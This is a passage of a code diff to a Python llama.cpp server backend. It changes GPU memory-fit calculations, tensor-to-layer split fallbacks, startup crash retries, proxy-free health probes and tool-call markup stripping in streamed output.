+                # Not a tensor/layer GGUF: clear any preserved-fallback flag from a
+                # prior load (this path skips the command builder that clears it).
+                self._layer_preserves_tensor_intent = False
                 with self._lock:
                     if self._cancel_event.is_set():
                         logger.info("Load cancelled before diffusion server start")
@@ -4747,6 +5198,9 @@ class LlamaCppBackend:
                         "image input will be disabled for this session"
                     )
                 model_size = None  # set in the fit try; used by the APU RAM guard
+                # Layer-fallback min GPUs; raised below on a tensor downgrade. Bound
+                # before the try so the --fit-on except path still has it (no UnboundLocal).
+                _layer_min_gpus = 1
                 try:
                     gguf_size = self._get_gguf_size_bytes(model_path)
                     # Include GPU-loaded mmproj in the fit budget (#5825).
@@ -4976,6 +5430,20 @@ class LlamaCppBackend:
                     # compute buffer); None -> the 512 default in the estimate.
                     _effective_ubatch = _extra_args_n_ubatch(extra_args)
 
+                    def _cc_bytes(ctx: int, n_gpus: int = 1) -> int:
+                        # Context-linear compute-buffer growth (flash-attn KQ mask +
+                        # attention scratch); the flat _compute_buffer_pipeline folded
+                        # into model_size_fit only covers ctx -> 0. Charged per
+                        # candidate context so the fit can't over-pin and spill. The
+                        # rate depends on the KV cache type (quantized adds a dequant
+                        # scratch), so pass it through. In a layer split this buffer is
+                        # replicated on EVERY device (measured ~equal per GPU), so scale
+                        # by the device count; a large model at high context otherwise
+                        # under-reserves ~(n-1)x it (e.g. Qwen3.5-397B on 3 GPUs).
+                        return max(1, n_gpus) * self._compute_buffer_ctx_bytes(
+                            ctx, _effective_ubatch, cache_type_kv
+                        )
+
                     # Layer-split compute buffer (one lump; tensor mode reserves it
                     # per device in _plan_tensor_parallel). Context-independent, so
                     # fold it into the model footprint for the branches below. Falls
@@ -4990,7 +5458,6 @@ class LlamaCppBackend:
                         _compute_buffer_pipeline = (
                             self._TENSOR_PARALLEL_BUFFER_RESERVE_MIB * 1024 * 1024
                         )
-                    model_size_fit = model_size + _compute_buffer_pipeline
 
                     # Layer split adds a fixed per-device overhead on every GPU. The
                     # folded buffer covers one device; reserve the extra devices'
@@ -4998,9 +5465,6 @@ class LlamaCppBackend:
                     # (k=1 adds nothing).
                     _pipeline_overhead_bytes = self._PIPELINE_PER_DEVICE_OVERHEAD_MIB * 1024 * 1024
 
-                    def _subset_model_size(n_gpus: int) -> int:
-                        return model_size_fit + max(0, n_gpus - 1) * _pipeline_overhead_bytes
-
                     # Auto-cap context to fit VRAM and select GPUs. Explicit n_ctx:
                     # honor it, cap only if it fits no combination. Auto (native):
                     # prefer fewer GPUs with reduced context (multi-GPU is slower).
@@ -5028,11 +5492,26 @@ class LlamaCppBackend:
                     )
                     _pin_fraction = self._GPU_PIN_VRAM_FRACTION - _flat_mtp_reserve
 
+                    # Charge the soft overhead _CTX_FIT_VRAM_FRACTION under-covers on tight
+                    # tiers, gated so plain dense loads (#5106) only pay the CUDA-ctx base.
+                    # CUDA/cuBLAS context is discrete-GPU only (not Metal); the mmproj and
+                    # MTP draft-graph buffers exist on every backend.
+                    _soft_overhead = self._CUDA_CONTEXT_RESERVE_BYTES if gpus else 0
+                    if effective_is_vision and mmproj_size > 0:
+                        _soft_overhead += int(mmproj_size * (self._MMPROJ_VRAM_SAFETY - 1.0))
+                    if _mtp_reserves_gpu:
+                        _soft_overhead += self._MTP_DRAFT_COMPUTE_BYTES
+                    model_size_fit = model_size + _compute_buffer_pipeline + _soft_overhead
+
+                    def _subset_model_size(n_gpus: int) -> int:
+                        return model_size_fit + max(0, n_gpus - 1) * _pipeline_overhead_bytes
+
+                    # Unified-memory budget (0 off Apple Silicon) for the no-GPU Metal cap below.
+                    _apple_budget_mib = self._apple_metal_memory_budget_bytes() // (1024 * 1024)
+
                     def _restore_after_tensor_downgrade():
-                        # Tensor mode dropped a quantized KV and stripped the cache
-                        # extras (it rejects quantized); layer split supports them, so
-                        # restore the original type + extras (minus --split-mode) and
-                        # clear the env flag so the layer launch re-emits them.
+                        # Restore the quantized KV + extras tensor dropped (layer
+                        # split supports them), minus --split-mode.
                         nonlocal cache_type_kv, _cache_type_from_env, extra_args
                         if _tensor_dropped_cache_type_kv is not None:
                             cache_type_kv = _tensor_dropped_cache_type_kv
@@ -5043,13 +5522,22 @@ class LlamaCppBackend:
                             else extra_args
                         )
 
-                    if tensor_parallel and effective_is_vision:
+                    # The route fallback retry is tensor-off; keep it multi-GPU.
+                    if preserve_multi_gpu_on_layer:
+                        _layer_min_gpus = max(_layer_min_gpus, len(gpus))
+
+                    if tensor_parallel and self._tensor_split_aborts(binary, model_identifier):
+                        # Aborted on tensor for this model this session (#6415); skip
+                        # tensor upfront, layer split serves it.
                         logger.info(
-                            "Tensor parallelism skipped for vision model: "
-                            "--split-mode tensor is incompatible with --mmproj "
-                            "in the current llama.cpp build; using layer split."
+                            "Tensor parallelism skipped: this llama.cpp build aborted "
+                            "on --split-mode tensor for this model earlier this "
+                            "session; using layer split across %d GPU(s).",
+                            len(gpus),
                         )
                         tensor_parallel = False
+                        # Keep the multi-GPU request (gated on it, not the cache).
+                        _layer_min_gpus = max(_layer_min_gpus, len(gpus))
                         _restore_after_tensor_downgrade()
 
                     # Tensor mode replicates a compute buffer on every GPU, so drop
@@ -5089,6 +5577,11 @@ class LlamaCppBackend:
                             len(gpus),
                         )
                         tensor_parallel = False
+                        # GPUs below tensor's compute-buffer reserve can still do layer
+                        # split, so keep multi-GPU (mirrors the budget/geometry drops);
+                        # _select_gpus caps unusable cards.
+                        if len(gpus) >= 2:
+                            _layer_min_gpus = max(_layer_min_gpus, len(gpus))
                         # Layer split supports a quantized KV the tensor attempt
                         # dropped; restore the original cache type + extras (minus
                         # --split-mode) so the layer launch re-emits them.
@@ -5117,7 +5610,9 @@ class LlamaCppBackend:
                                 _tp_flat_mtp,
                                 _mtp_bytes(min(2048, effective_ctx) if effective_ctx > 0 else 2048),
                             )
-                        _tp_required_mib = (model_size + _tp_mtp_floor) / (1024 * 1024)
+                        _tp_required_mib = (model_size + _tp_mtp_floor + _soft_overhead) / (
+                            1024 * 1024
+                        )
                         if _tp_weight_budget_mib <= _tp_required_mib:
                             logger.info(
                                 "Tensor parallelism requested but the pooled VRAM "
@@ -5125,8 +5620,12 @@ class LlamaCppBackend:
                                 "per-device compute buffers; falling back to layer split."
                             )
                             tensor_parallel = False
-                            # Restore the dropped quantized KV + original cache extras
-                            # (minus --split-mode); layer split supports them.
+                            # Weights needed >1 card, so keep multi-GPU across the
+                            # usable tensor GPUs.
+                            if len(tp_gpus) >= 2:
+                                _layer_min_gpus = max(_layer_min_gpus, len(tp_gpus))
+                            # Restore the dropped quantized KV + cache extras (minus
+                            # --split-mode); layer split supports them.
                             _restore_after_tensor_downgrade()
 
                     if tensor_parallel and tp_gpus:
@@ -5162,6 +5661,7 @@ class LlamaCppBackend:
                             max_target_ctx = self._context_length or target_ctx,
                             total_by_idx = total_by_idx,
                             n_ubatch = _effective_ubatch,
+                            soft_overhead_bytes = _soft_overhead,
                         )
                         use_fit = False
                     elif gpus and self._can_estimate_kv() and effective_ctx > 0:
@@ -5186,6 +5686,9 @@ class LlamaCppBackend:
                                 # budget so the fit and the check below agree.
                                 pool_budget = _pool_budget_mib(subset, _cap_fraction)
                                 _ms = _subset_model_size(n_gpus)
+                                # Compute buffer is replicated per device in a layer
+                                # split, so scale the context term by the subset size.
+                                _cc_sub = lambda c, n = n_gpus: _cc_bytes(c, n)
                                 capped = self._fit_context_to_vram(
                                     native_ctx_for_cap,
                                     pool_budget,
@@ -5194,13 +5697,16 @@ class LlamaCppBackend:
                                     n_parallel = n_parallel,
                                     mtp_engaged = _mtp_reserves_gpu,
                                     mtp_overhead_fn = mtp_overhead_fn,
+                                    compute_ctx_bytes_fn = _cc_sub,
                                     budget_frac = 1.0,
                                     total_mib = None,
                                 )
                                 kv = self._estimate_kv_cache_bytes(
                                     capped, cache_type_kv, n_parallel = n_parallel
                                 )
-                                footprint_mib = (_ms + kv + _mtp_bytes(capped)) / (1024 * 1024)
+                                footprint_mib = (
+                                    _ms + kv + _mtp_bytes(capped) + _cc_sub(capped)
+                                ) / (1024 * 1024)
                                 if footprint_mib <= pool_budget:
                                     best_cap = max(best_cap, capped)
                             if best_cap > 0:
@@ -5221,13 +5727,19 @@ class LlamaCppBackend:
                                     effective_ctx, cache_type_kv, n_parallel = n_parallel
                                 )
                                 + _mtp_bytes(effective_ctx)
+                                + _cc_bytes(effective_ctx)
                             )
+                            # The compute buffer is replicated on every device in a
+                            # layer split; fold it into the per-device reserve so a
+                            # multi-GPU pin sizes each card for its own copy.
                             gpu_indices, use_fit = self._select_gpus(
                                 requested_total,
                                 gpus,
                                 usable_fraction = _pin_fraction,
                                 total_by_idx = total_by_idx,
-                                per_device_overhead_bytes = _pipeline_overhead_bytes,
+                                per_device_overhead_bytes = _pipeline_overhead_bytes
+                                + _cc_bytes(effective_ctx),
+                                min_gpus = _layer_min_gpus,
                             )
                             # No silent shrink: effective_ctx stays == requested_ctx.
                         else:
@@ -5238,10 +5750,28 @@ class LlamaCppBackend:
                             ranked = sorted(
                                 gpus, key = lambda g: _gpu_usable(g, pin_fraction), reverse = True
                             )
-                            for n_gpus in range(1, len(ranked) + 1):
+                            # Skips _select_gpus, so apply its cap: count only cards
+                            # whose usable VRAM clears the per-device layer overhead.
+                            _pipeline_overhead_mib = _pipeline_overhead_bytes / (1024 * 1024)
+                            _auto_min_gpus = max(
+                                1,
+                                min(
+                                    _layer_min_gpus,
+                                    sum(
+                                        1
+                                        for g in ranked
+                                        if _gpu_usable(g, pin_fraction) > _pipeline_overhead_mib
+                                    )
+                                    or 1,
+                                ),
+                            )
+                            for n_gpus in range(_auto_min_gpus, len(ranked) + 1):
                                 subset = ranked[:n_gpus]
                                 pool_budget = _pool_budget_mib(subset, pin_fraction)
                                 _ms = _subset_model_size(n_gpus)
+                                # Compute buffer is replicated per device in a layer
+                                # split, so scale the context term by the subset size.
+                                _cc_sub = lambda c, n = n_gpus: _cc_bytes(c, n)
                                 capped = self._fit_context_to_vram(
                                     effective_ctx,
                                     pool_budget,
@@ -5250,13 +5780,16 @@ class LlamaCppBackend:
                                     n_parallel = n_parallel,
                                     mtp_engaged = _mtp_reserves_gpu,
                                     mtp_overhead_fn = mtp_overhead_fn,
+                                    compute_ctx_bytes_fn = _cc_sub,
                                     budget_frac = 1.0,
                                     total_mib = None,
                                 )
                                 kv = self._estimate_kv_cache_bytes(
                                     capped, cache_type_kv, n_parallel = n_parallel
                                 )
-                                footprint_mib = (_ms + kv + _mtp_bytes(capped)) / (1024 * 1024)
+                                footprint_mib = (
+                                    _ms + kv + _mtp_bytes(capped) + _cc_sub(capped)
+                                ) / (1024 * 1024)
                                 if footprint_mib <= pool_budget:
                                     effective_ctx = capped
                                     gpu_indices = sorted(idx for idx, _ in subset)
@@ -5268,7 +5801,7 @@ class LlamaCppBackend:
                                 # at 131k may pin fine with a 4096 KV (#5106).
                                 effective_ctx = min(4096, effective_ctx)
                                 if effective_ctx > 0:
-                                    for n_gpus in range(1, len(ranked) + 1):
+                                    for n_gpus in range(_auto_min_gpus, len(ranked) + 1):
                                         subset = ranked[:n_gpus]
                                         kv = self._estimate_kv_cache_bytes(
                                             effective_ctx,
@@ -5279,6 +5812,7 @@ class LlamaCppBackend:
                                             _subset_model_size(n_gpus)
                                             + kv
                                             + _mtp_bytes(effective_ctx)
+                                            + _cc_bytes(effective_ctx, n_gpus)
                                         ) / (1024 * 1024)
                                         if footprint_mib <= _pool_budget_mib(subset, pin_fraction):
                                             gpu_indices = sorted(idx for idx, _ in subset)
@@ -5304,12 +5838,103 @@ class LlamaCppBackend:
                             usable_fraction = _pin_fraction,
                             total_by_idx = total_by_idx,
                             per_device_overhead_bytes = _pipeline_overhead_bytes,
+                            min_gpus = _layer_min_gpus,
                         )
                         if use_fit and not explicit_ctx:
                             # Weights don't fit on any subset; default UI to 4096
                             # so the slider isn't on an unusable native ctx.
                             effective_ctx = min(4096, effective_ctx) if effective_ctx > 0 else 4096
 
+                    elif _apple_budget_mib > 0 and effective_ctx > 0:
+                        # No GPU on Metal: the branches above are skipped and the context
+                        # stays at native, over-committing unified memory (#5118, #6529).
+                        # Cap with the same fit math (--fit on stays as a backstop); only
+                        # auto context shrinks, explicit is honored.
+                        native_ctx_for_cap = self._context_length or effective_ctx
+                        # Reserve the flat MTP fraction up front like the discrete
+                        # _pin_fraction, so an unsized MTP draft (e.g. Qwen3.6-MTP, #6529)
+                        # can't over-commit. No-op when MTP is off; exclusive with the
+                        # byte-accurate _mtp_bytes reserve.
+                        _apple_fit_budget_mib = int(
+                            _apple_budget_mib * max(0.0, 1.0 - _flat_mtp_reserve)
+                        )
+                        if self._can_estimate_kv():
+                            cap = self._fit_context_to_vram(
+                                native_ctx_for_cap,
+                                _apple_fit_budget_mib,
+                                model_size_fit,
+                                cache_type_kv,
+                                n_parallel = n_parallel,
+                                mtp_engaged = _mtp_reserves_gpu,
+                                mtp_overhead_fn = mtp_overhead_fn,
+                                compute_ctx_bytes_fn = _cc_bytes,
+                                budget_frac = 1.0,
+                                total_mib = None,
+                            )
+                            _cap_footprint_mib = (
+                                model_size_fit
+                                + self._estimate_kv_cache_bytes(
+                                    cap, cache_type_kv, n_parallel = n_parallel
+                                )
+                                + _mtp_bytes(cap)
+                                + _cc_bytes(cap)
+                            ) / (1024 * 1024)
+                            # Fit returns the request unchanged when it fits OR weights
+                            # exceed budget; only the latter over-commits, so floor to 4096.
+                            max_available_ctx = (
+                                cap
+                                if _cap_footprint_mib <= _apple_fit_budget_mib
+                                else min(4096, native_ctx_for_cap)
+                            )
+                        else:
+                            # No KV estimate: mirror the discrete file-size-only fallback
+                            # and floor to 4096 rather than launch at native and over-commit.
+                            max_available_ctx = min(4096, native_ctx_for_cap)
+                        if not explicit_ctx:
+                            effective_ctx = max_available_ctx
+
+                    # Prefer fewer serving slots on GPU over --fit on offload: when the extra
+                    # --parallel slots push the footprint past the pin budget, llama-server
+                    # offloads layers to host and decode collapses ~3x (#6718). Retry the fit
+                    # at fewer slots, keeping the largest count that stays fully on GPU and the
+                    # chosen context. Skips tensor mode / Metal / KV-inestimable paths.
+                    if (
+                        use_fit
+                        and n_parallel > 1
+                        and gpus
+                        and self._can_estimate_kv()
+                        and effective_ctx > 0
+                    ):
+                        # Slot-independent footprint (folded compute buffer swapped out so the
+                        # helper re-adds a slot-sized one per candidate).
+                        _base_footprint = (
+                            model_size_fit
+                            - _compute_buffer_pipeline
+                            + _mtp_bytes(effective_ctx)
+                            + _cc_bytes(effective_ctx)
+                        )
+                        _gi_slots, _uf_slots, _slots = self._slots_that_fit_on_gpu(
+                            n_parallel,
+                            effective_ctx,
+                            gpus,
+                            total_by_idx,
+                            _base_footprint,
+                            cache_type_kv,
+                            _pin_fraction,
+                            _pipeline_overhead_bytes + _cc_bytes(effective_ctx),
+                            _layer_min_gpus,
+                            _effective_ubatch,
+                        )
+                        if not _uf_slots:
+                            logger.info(
+                                "Serving slots reduced %d -> %d to keep the model on GPU "
+                                "(avoid --fit offload) at context %d.",
+                                n_parallel,
+                                _slots,
+                                effective_ctx,
+                            )
+                            gpu_indices, use_fit, n_parallel = _gi_slots, False, _slots
+
                     # MTP reserve at the final context, for the logs below.
                     _mtp_reserve_bytes = _mtp_bytes(effective_ctx) if _mtp_will_engage else 0
                     if _mtp_will_engage:
@@ -5395,12 +6020,23 @@ class LlamaCppBackend:
                     "--no-context-shift",
                 ]
 
+                # Report a clean public model id (matching GET /v1/models) rather
+                # than the raw -m path in llama-server's own /v1/models and the
+                # "model" field of its chat/completions responses.
+                from core.inference.model_ids import public_model_id
+
+                _alias = public_model_id(self._model_identifier or model_path)
+                if _alias:
+                    cmd.extend(["--alias", _alias])
+
                 fully_gpu_offloaded = False
                 if use_fit:
                     cmd.extend(["--fit", "on"])
                 elif gpu_indices is not None:
-                    # Fits on selected GPU(s) -- offload all layers
-                    cmd.extend(["-ngl", "-1"])
+                    # Fits on selected GPU(s) -- force all layers on GPU. --fit off is
+                    # required: without it llama.cpp's default --fit on second-guesses
+                    # and offloads ~1 GB at --parallel 4 even though the model fits.
+                    cmd.extend(["-ngl", "-1", "--fit", "off"])
                     fully_gpu_offloaded = True
 
                 server_caps = self.probe_server_capabilities(binary)
@@ -5488,12 +6124,15 @@ class LlamaCppBackend:
                             ]
                         )
                     self._tensor_parallel = True
+                    self._layer_preserves_tensor_intent = False
                     logger.info(
                         "Tensor parallelism: --split-mode tensor, --tensor-split %s",
                         tp_tensor_split,
                     )
                 else:
                     self._tensor_parallel = False
+                    # > 1 only when a tensor request was downgraded but kept multi-GPU.
+                    self._layer_preserves_tensor_intent = _layer_min_gpus > 1
 
                 # Speculative decoding. See _build_speculative_flags for the
                 # mode resolution, benchmarks, and llama.cpp references.
@@ -5777,7 +6416,44 @@ class LlamaCppBackend:
                         _startup_crashed = (
                             self._process.poll() is not None and self._process.returncode != 0
                         )
-                        if _spawn_attempt == 0 and _fit_retry_allowed and _startup_crashed:
+                        # A split-axis abort (#6415) is fit-independent: skip the
+                        # --fit off retry and let the caller latch it.
+                        _split_axis_crash = self._is_tensor_split_assert(
+                            "\n".join(self._stdout_lines[-50:])
+                        )
+                        if (
+                            _spawn_attempt == 0
+                            and fully_gpu_offloaded
+                            and _startup_crashed
+                            and not _split_axis_crash
+                        ):
+                            # We forced --fit off because Studio's (conservative) VRAM
+                            # math placed the model fully on GPU. A startup crash here
+                            # means that estimate was optimistic, so fall back to --fit
+                            # on and let llama.cpp offload rather than fail the load.
+                            logger.warning(
+                                "llama-server crashed during startup (exit code %s) "
+                                "with forced --fit off; the fit estimate was optimistic, "
+                                "retrying once with --fit on so it can offload. "
+                                "Crash log: %s",
+                                self._process.returncode,
+                                self._llama_log_path,
+                            )
+                            # Flip Studio's own --fit off (added first, before any
+                            # user extra args) to on; a user's later --fit still wins
+                            # by last-arg. Defensive: if absent, the default is already
+                            # --fit on, so leave it.
+                            _run = list(run_cmd)
+                            if "--fit" in _run:
+                                _run[_run.index("--fit") + 1] = "on"
+                            run_cmd = _run
+                            continue
+                        if (
+                            _spawn_attempt == 0
+                            and _fit_retry_allowed
+                            and _startup_crashed
+                            and not _split_axis_crash
+                        ):
                             logger.warning(
                                 "llama-server crashed during startup (exit code %s) "
                                 "with the default memory-fit step enabled; Studio "
@@ -5823,6 +6499,21 @@ class LlamaCppBackend:
                 )
 
                 healthy = _spawn_and_wait(cmd)
+                # #6415 split-mode tensor warmup abort. Latch it on THIS first spawn:
+                # the flash-attn-off retry below can't run tensor (needs flash_attn),
+                # so its output drops the marker and recording later would miss it,
+                # looping every load. Record and raise to the route's layer fallback,
+                # skipping the futile flash-attn/MTP retries.
+                if not healthy and self._tensor_parallel and not self._cancel_event.is_set():
+                    _ts_out = "\n".join(self._stdout_lines[-50:])
+                    _ts_rc = self._process.poll() if self._process is not None else None
+                    if self._should_record_tensor_split_abort(_ts_rc, _ts_out):
+                        LlamaCppBackend._record_tensor_split_abort(binary, model_identifier)
+                        self._kill_process()
+                        raise RuntimeError(
+                            "llama-server aborted on --split-mode tensor "
+                            "(split-axis geometry); retrying with layer split."
+                        )
                 # Flash-attention kernels hard-crash at startup on some ROCm/GPU
                 # builds (frequently inside the vision tower). Disabling FA keeps
                 # both vision and MTP, so retry that way before dropping either.
@@ -5967,6 +6658,7 @@ class LlamaCppBackend:
                     # Read the crash code before _kill_process() clears _process.
                     _crash_rc = self._process.poll() if self._process is not None else None
                     self._kill_process()
+                    # The #6415 split-axis abort is latched earlier (first spawn).
                     # Skip if a cancel/unload is pending (mirrors the MTP guard).
                     if (
                         launched_with_mmproj
@@ -6398,6 +7090,7 @@ class LlamaCppBackend:
         spec_draft_n_max: Optional[int] = None,
         tensor_parallel: bool = False,
         mtp_draft_path: Optional[str] = None,
+        preserve_multi_gpu_on_layer: bool = False,
     ) -> bool:
         """True iff the live server already satisfies these load kwargs.
 
@@ -6440,6 +7133,17 @@ class LlamaCppBackend:
         # server. An identical request would downgrade the same way.
         if not _tensor_parallel_matches_loaded(extra_args, tensor_parallel, self._tensor_parallel):
             return False
+        # Preserved tensor->layer fallback + an EXPLICIT tensor drop: reload so
+        # placement re-selects instead of keeping the all-GPU mask (mirrors the route,
+        # #6659). preserve_multi_gpu_on_layer carries the route's carry-forward decision
+        # (True for an implicit same-settings reload), so those still dedupe -- the HF
+        # auto-pick / local-dir flows skip the route guard and only reach here.
+        if (
+            self._layer_preserves_tensor_intent
+            and not _effective_tensor_parallel(extra_args, tensor_parallel)
+            and not preserve_multi_gpu_on_layer
+        ):
+            return False
 
         # Compare on the canonical requested mode. With --spec-type in
         # extra_args the backend stores None; mirror that here.
@@ -6551,6 +7255,7 @@ class LlamaCppBackend:
             self._supports_tools = False
             self._cache_type_kv = None
             self._tensor_parallel = False
+            self._layer_preserves_tensor_intent = False
             self._speculative_type = None
             self._requested_spec_mode = None
             self._spec_draft_n_max = None
@@ -6887,6 +7592,13 @@ class LlamaCppBackend:
             resolved_roots: list[Path] = []
             for root in install_roots:
                 try:
+                    # A --with-llama-cpp-dir local link (symlink/junction)
+                    # resolves into the user's own checkout. Adding it would let
+                    # us treat the user's externally-launched llama-server as our
+                    # orphan and kill it, so leave such roots out of the
+                    # allowlist (we forgo orphan-reaping for local-link installs).
+                    if _is_external_link(root):
+                        continue
                     resolved_roots.append(root.resolve())
                 except OSError:
                     pass
@@ -7020,7 +7732,13 @@ class LlamaCppBackend:
         url = f"{self.base_url}/completion"
         payload = {"prompt": "Hi", "n_predict": 4, "temperature": 0.0, "stream": False}
         try:
-            resp = httpx.post(url, json = payload, timeout = timeout, headers = self._auth_headers)
+            resp = httpx.post(
+                url,
+                json = payload,
+                timeout = timeout,
+                headers = self._auth_headers,
+                trust_env = False,
+            )
         except Exception as e:
             logger.debug(f"MTP decode probe failed: {e}")
             return False
@@ -7172,7 +7890,9 @@ class LlamaCppBackend:
                 return False
 
             try:
-                resp = httpx.get(url, timeout = 2.0)
+                # trust_env=False: skip ambient HTTP(S)_PROXY, which if it 503s
+                # for 127.0.0.1 loops the probe until timeout and hangs load.
+                resp = httpx.get(url, timeout = 2.0, trust_env = False)
                 if resp.status_code == 200:
                     return True
             except (
@@ -7188,6 +7908,10 @@ class LlamaCppBackend:
 
             time.sleep(interval)
 
+        # Leave a marker so _classify_llama_start_failure tells a live but
+        # never-healthy load (too large, or a proxy hijacking the loopback
+        # probe) apart from a bad GGUF (#5740).
+        self._stdout_lines.append(f"llama-server health check timed out after {timeout}s")
         logger.error(f"llama-server health check timed out after {timeout}s")
         return False
 
@@ -7219,7 +7943,7 @@ class LlamaCppBackend:
         """
         url = f"{self.base_url}/props"
         try:
-            resp = httpx.get(url, timeout = 5.0)
+            resp = httpx.get(url, timeout = 5.0, trust_env = False)
             if resp.status_code != 200:
                 return None
             settings = resp.json().get("default_generation_settings") or {}
@@ -7252,12 +7976,17 @@ class LlamaCppBackend:
     # ── Message building (OpenAI format) ──────────────────────────
 
     @staticmethod
-    def _parse_tool_calls_from_text(content: str, *, allow_incomplete: bool = True) -> list[dict]:
-        """Thin wrapper around the shared parser in tool_call_parser
-        so safetensors and llama_cpp pick up the same fixes."""
+    def _parse_tool_calls_from_text(
+        content: str,
+        *,
+        allow_incomplete: bool = True,
+        enabled_tool_names: Optional[set] = None,
+    ) -> list[dict]:
+        """Wrapper around the shared parser; ``enabled_tool_names`` gates the markerless bare-JSON form."""
         return _shared_parse_tool_calls_from_text(
             content,
             allow_incomplete = allow_incomplete,
+            enabled_tool_names = enabled_tool_names,
         )
 
     @staticmethod
@@ -7299,7 +8028,9 @@ class LlamaCppBackend:
         which differ only in how they parse the SSE body."""
         stream_timeout = httpx.Timeout(connect = 10, read = 0.5, write = 10, pool = 10)
         with httpx.Client(
-            timeout = stream_timeout, limits = httpx.Limits(max_keepalive_connections = 0)
+            timeout = stream_timeout,
+            limits = httpx.Limits(max_keepalive_connections = 0),
+            trust_env = False,
         ) as client:
             first_token_deadline = time.monotonic() + _DEFAULT_FIRST_TOKEN_TIMEOUT_S
             with self._stream_with_retry(
@@ -7722,6 +8453,7 @@ class LlamaCppBackend:
         preserve_thinking: Optional[bool] = None,
         max_tool_iterations: int = 25,
         auto_heal_tool_calls: bool = True,
+        nudge_tool_calls: Optional[bool] = None,
         tool_call_timeout: int = 300,
         session_id: Optional[str] = None,
         rag_scope: Optional[dict] = None,
@@ -7757,6 +8489,26 @@ class LlamaCppBackend:
         _accumulated_completion_tokens = 0
         _accumulated_predicted_ms = 0.0
         _accumulated_predicted_n = 0
+        # GGUF buffers reasoning; emit server-side timing before answer text.
+        _reasoning_started_at: Optional[float] = None
+        _reasoning_summary_emitted = False
+
+        # Gate telling a genuine NAME[ARGS] rehearsal from inactive-name prose; built from the
+        # ORIGINAL tools list so a spent one-shot still reads as a tool name. None = no gate.
+        _enabled_names_gate = set(_gguf_active_tool_names(tools)) if tools else None
+        # Detection must see the same names as the strip gate (ORIGINAL list, incl. a spent
+        # one-shot), else its repeat is stripped but never drained and the turn ends blank.
+        _detect_tools = list(tools or [])
+
+        def _reasoning_summary_event(started_at: float) -> dict:
+            return {
+                "type": "reasoning_summary",
+                "duration_ms": round((time.monotonic() - started_at) * 1000.0),
+            }
+
+        # Enabled-name gate for the markerless Gemma strip (disabled/example
+        # names stay visible). Set per iteration; None = pre-loop name-agnostic.
+        _enabled_tool_names = None
 
         def _strip_tool_markup(
             text: str,
@@ -7766,14 +8518,42 @@ class LlamaCppBackend:
         ) -> str:
             if not (auto_heal_tool_calls or force):
                 return text
-            return strip_tool_call_markup(text, final = final)
+            # Delegate to the shared parser-side strip so the GGUF cleanup covers every family the
+            # parser promotes (Llama <|python_tag|>, Mistral [TOOL_CALLS], bare rehearsal, function
+            # XML, Gemma) and stays aligned with detection; tool_healing's strip omits the loop-only
+            # forms (python_tag / Mistral name) and would leak them into display.
+            return _shared_strip_tool_markup(
+                text, final = final, enabled_tool_names = _enabled_names_gate
+            )
 
         def _strip_tool_markup_streaming(text: str, *, force: bool = False) -> str:
             if not (auto_heal_tool_calls or force):
                 return text
-            for pat in _TOOL_ALL_PATS:
-                text = pat.sub("", text)
-            return text
+
+            def _seg(segment: str, is_last: bool) -> str:
+                # Same scan order as the parser's _strip_segment (seg_final -> is_last): balanced
+                # strips first (nested JSON removed whole; literal markup inside a value is that
+                # call's data), then the guarded function-XML / GLM scans, then the regex arms
+                # (DeepSeek / Kimi / closed forms). EOS-anchored tail arms run only on the last
+                # segment (a bare ``foo[ARGS]`` before <think> is prose). Rehearsal + markerless
+                # strips are name-gated on the ORIGINAL list (strip/detect aligned).
+                seg = _strip_mistral_closed_calls(segment)
+                seg = _strip_bracket_tag_calls(seg, enabled_tool_names = _enabled_names_gate)
+                if is_last:
+                    seg = _strip_gemma_wrapperless_calls(seg, _enabled_names_gate)
+                seg = _strip_function_xml_calls(seg, final = is_last)
+                seg = _strip_glm_calls(seg, final = is_last)
+                pats = _PARSER_TOOL_ALL_PATS if is_last else _PARSER_TOOL_CLOSED_PATS
+                for pat in pats:
+                    seg = pat.sub("", seg)
+                if is_last:
+                    seg = apply_tool_strip_patterns(
+                        seg, [_REHEARSAL_TAIL_STRIP_RE], enabled_tool_names = _enabled_names_gate
+                    )
+                return seg
+
+            # Preserve think blocks verbatim (a rehearsed call inside one must not be deleted).
+            return strip_outside_think(text, _seg)
 
         def _build_metadata_event(usage, timings, finish_reason):
             """Final usage+timings metadata event for the given pass, merging its
@@ -7792,13 +8572,18 @@ class LlamaCppBackend:
                     _mt["predicted_per_second"] = _mt["predicted_n"] / (
                         _mt["predicted_ms"] / 1000.0
                     )
+            _usage = {
+                "prompt_tokens": _fp,
+                "completion_tokens": _tc,
+                "total_tokens": _fp + _tc,
+            }
+            # Preserve KV-cache hit details (cached_tokens) so the tool path
+            # reports them like the standard non-tool path does, not always 0.
+            if _fu.get("prompt_tokens_details"):
+                _usage["prompt_tokens_details"] = _fu["prompt_tokens_details"]
             return {
                 "type": "metadata",
-                "usage": {
-                    "prompt_tokens": _fp,
-                    "completion_tokens": _tc,
-                    "total_tokens": _fp + _tc,
-                },
+                "usage": _usage,
                 "timings": _mt,
                 "finish_reason": finish_reason,
             }
@@ -7811,6 +8596,13 @@ class LlamaCppBackend:
                 cumulative_display += "<think>" + reasoning_accum + "</think>"
             cumulative_display += content_buffer
 
+        def _looks_like_enabled_bare_json(text: str, enabled_tool_names: set) -> bool:
+            """True when ``text`` opens with an ENABLED markerless bare-JSON call; an ordinary JSON answer returns False."""
+            probe = strip_llama3_leading_sentinels(text.lstrip())
+            if not (probe.startswith("{") and ('"name"' in probe or '"function"' in probe)):
+                return False
+            return strip_leading_bare_json_call(probe, enabled_tool_names) != probe
+
         tool_controller = ToolLoopController(
             tools = tools,
             auto_heal_tool_calls = auto_heal_tool_calls,
@@ -7824,18 +8616,21 @@ class LlamaCppBackend:
             )
 
         _MAX_BUFFER_CHARS = 32
+        # Hold a leading ``{`` well past the 32-char XML cap until it balances (mirrors safetensors).
+        _MAX_BARE_JSON_BUFFER = 16384
         _append_budget_exhausted_nudge = True
         # RAG: cap knowledge-base searches per assistant turn. The controller is
         # tool-agnostic, so this gate stays in the loop.
         _kb_search_count = 0
 
         # ── Re-prompt on plan-without-action ─────────────────
-        # When the model describes what it intends to do (forward-looking
-        # language) without calling a tool, re-prompt once. Only triggers on
-        # responses signaling intent/planning -- a direct answer like "4" or
-        # "Hello!" won't match. Pattern compiled at module level
-        # (_INTENT_SIGNAL).
+        # Model describes intent without calling a tool: re-prompt once. A
+        # direct answer ("4", "Hello!") won't match. Pattern shared with the
+        # safetensors loop (tool_call_parser.INTENT_SIGNAL).
         _reprompt_count = 0
+        # Gates ``max_tool_iterations`` on real tool turns (not the enlarged range) so reserved
